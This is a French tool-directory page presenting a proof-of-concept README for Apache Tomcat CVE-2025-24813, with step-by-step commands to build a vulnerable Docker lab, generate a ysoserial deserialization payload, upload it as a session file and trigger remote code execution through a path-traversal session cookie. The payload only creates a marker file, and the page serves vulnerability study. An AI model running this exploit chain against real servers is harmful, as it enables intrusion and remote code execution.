Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC-CVE-2025-24813 — Preuve de concept démontrant Apache Tomcat CVE-2025-24813, exploitant le PUT non sécurisé de DefaultServlet et la désérialisation de session pour parvenir à une exécution de code à distance. | Kitploit
Outils/GitHubGitHub/arthurabriel/poc-cve-2025-24813
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubarthurabriel/poc-cve-2025-24813

POC-CVE-2025-24813

Preuve de concept démontrant Apache Tomcat CVE-2025-24813, exploitant le PUT non sécurisé de DefaultServlet et la désérialisation de session pour parvenir à une exécution de code à distance.

Voir le dépôt
5il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-24813 – Environnement de Démonstration (PoC)

Ce dépôt contient une application simple construite pour observer le comportement du CVE-2025-24813, une vulnérabilité récente dans Apache Tomcat liée à l'utilisation du DefaultServlet avec l'écriture activée (readonly=false), permettant des opérations d'écriture non sécurisées via HTTP PUT (avec prise en charge des partial PUT / Content-Range) pouvant conduire à l'écrasement de fichiers sensibles, y compris les fichiers de session — permettant des scénarios de RCE en cas de désérialisation malveillante.

À propos de ce PoC

L'application utilise :

ComposantFonction
Tomcat 9 + JDK 11Serveur vulnérable utilisé comme cible
context.xmlActive PersistentManager + FileStore sauvegardant les sessions sur disque
upload.jspPoint de terminaison simple qui reçoit des données et les écrit sur le disque
/tmp/app-data/Répertoire où les uploads seront sauvegardés

L'idée initiale est d'observer comment Tomcat traite les fichiers dans un environnement configuré pour l'étude du CVE — en commençant par une requête bénigne, qui écrit simplement un fichier de manière contrôlée (sans tentative d'exploitation) puis immédiatement après un fichier malveillant.

Construction et exécution

  1. Construction de l'image Docker
root@kitploit:~
docker build -t tomcat-cve-2025-24813 .
  1. Lancer le conteneur
root@kitploit:~
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813

Surveillance des appels système execve

Dans un autre terminal, exécutez les commandes ci-dessous.

root@kitploit:~
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200

Test initial (requête bonne et sécurisée)

Nous enverrons un fichier simple pour observer le comportement normal.

Upload en envoyant une chaîne

root@kitploit:~
echo "Fichier Normal" > nota.txt

curl -X POST http://localhost:8080/upload.jsp \
  -H "X-Filename: nota.txt" \
  --data-binary "Ceci est simplement un message simple."

Si tout est correct, dans le terminal exécutant strace rien ne devrait apparaître.

Remarque : Si des erreurs SIGSEGV apparaissent dans strace, ignorez-les. Ce sont des bruits de la JVM.

Exploitation de la vulnérabilité

  1. Télécharger YSoSerial Outil utilisé pour générer des objets Java sérialisés avec des chaînes de gadgets connues.
root@kitploit:~
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
  1. Générer la charge utile malveillante au format session

Ici, nous utilisons la chaîne CommonsCollections4 pour générer un objet qui, dans un scénario vulnérable, pourrait exécuter la commande touch /tmp/RCE. La charge utile sera enregistrée sous hack.session.

root@kitploit:~
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session

Si la commande précédente échoue, c'est que pour garantir la compatibilité avec les versions modernes de Java (9+), il est nécessaire d'ajouter le flag --add-opens pour désactiver l'encapsulation forte (JPMS), qui autrement bloquerait la réflexion utilisée par ysoserial.

root@kitploit:~
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session

Après cette commande, vous aurez un fichier binaire local :

root@kitploit:~
hack.session
  1. Upload de la charge utile vers le serveur

Nous envoyons le fichier .session vers le point de terminaison JSP, qui écrit le contenu directement dans le répertoire /tmp/app-data.

root@kitploit:~
curl -v -X POST \
     -H "X-Filename: hack.session" \
     --data-binary @hack.session \
     http://localhost:8080/upload.jsp

Sortie attendue :

Fichier enregistré avec succès dans : /tmp/app-data/hack.session

📌 À ce moment, aucune commande n'est exécutée — seul un fichier a été écrit sur le serveur.

  1. Utiliser la session injectée

Maintenant, nous faisons une requête en envoyant le cookie JSESSIONID=hack, en essayant de forcer Tomcat à charger la session nouvellement créée.

root@kitploit:~
 curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"

En regardant le terminal de strace, des commandes execve créant le fichier devraient être apparues.

Pour voir si le fichier a été créé, on peut aussi entrer dans le conteneur et vérifier

root@kitploit:~
docker exec -it toy-cve ls -l /tmp/
Télécharger l’outil